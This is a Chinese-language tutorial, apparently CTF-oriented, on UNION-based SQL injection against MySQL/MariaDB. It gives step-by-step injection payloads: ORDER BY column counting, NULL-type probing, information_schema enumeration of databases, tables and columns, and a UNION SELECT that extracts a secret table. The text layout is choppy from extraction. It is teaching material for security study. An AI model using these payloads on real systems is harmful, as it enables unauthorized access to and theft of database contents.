SQL 語法中,有個 UNION 的關鍵字,可以使用它執行多個 SELECT
SELECT a FROM table1 UNION SELECT b FROM table2
由於 UNION 是將資料聯集起來,需要滿足兩個條件才能使用
參考資料:https://www.jianshu.com/p/7436b10ceb71
SELECT
了三個欄位 (分別為 id
、account
、password
)SELECT
三個欄位,所以當駭客測試到 ORDER BY 4
就會回報錯,駭客就可以得知原語法只有三個欄位<原SQL語法> ORDER BY 1;
<原SQL語法> ORDER BY 2;
<原SQL語法> ORDER BY 3;
<原SQL語法> ORDER BY 4;
SELECT
三個欄位有3個,但是駭客不知道資料庫每個欄位的資料類型 (大致可分為數字或字元)SELECT 'a', NULL, NULL
指令中會顯示錯誤<原SQL語法> UNION SELECT 'a', NULL, NULL
<原SQL語法> UNION SELECT NULL, 'a', NULL
<原SQL語法> UNION SELECT NULL, NULL, 'a'
得知欄位數量、欄位類型,我們已經可以開始竊取資料。假設原 SQL 語法如下:
SELECT `id`, `name`
FROM `User`
WHERE `id` = {id};
SELECT
的欄位數量為 2
name
的資料則此時我們便可以構建 SQL 語法,使得想竊取的資料與 name
欄位聯集,例如:
SELECT `id`, `name`
FROM `User`
WHERE `id` = 0
UNION SELECT NULL, `content`
FROM `Secret`;
然而我們還需知道資料庫中的結構(準確的說,是需要知道名稱,如上例中的 Secret
、 content
),方能構建正確的 SQL 語法。
在 MySQL / MariaDB 中,預設會有一個 database 儲存資料庫的 schema 資料,稱為 information_schema
。其中:
information_schema.schemata
:可以抓取 database 的名稱。以下圖為例,可以發現有 CTF
這個 database。
<原SQL語法>
UNION SELECT NULL, `SCHEMA_NAME`
FROM `information_schema`.`schemata`;
information_schema.tables
:此 table 中,儲存了各個資料庫的 table 資訊,因此可以從中抓 table 的名稱。此例用 WHERE
TABLE_SCHEMA = 'CTF'
來篩選 database 為 CTF
的 table,可以發現有 User
和 Secret
兩個 tables。
<原SQL語法>
UNION SELECT NULL, `TABLE_NAME`
FROM `information_schema`.`tables`
WHERE `TABLE_SCHEMA` = 'CTF';
information_schema.columns
:可以抓取 column 的名稱。此例沿用上例中發現的 Secret
Table 進行篩選,可以發現有 content
這個欄位。
<原SQL語法>
UNION SELECT NULL, `COLUMN_NAME`
FROM `information_schema`.`columns`
WHERE `TABLE_SCHEMA` = 'CTF'
AND `TABLE_NAME` = 'Secret';
有了上述資料,便可以了解資料庫中的結構,接著便可以利用 UNION 來將任意資料竊取出來。
<原SQL語法>
UNION SELECT NULL, `content`
FROM `Secret`;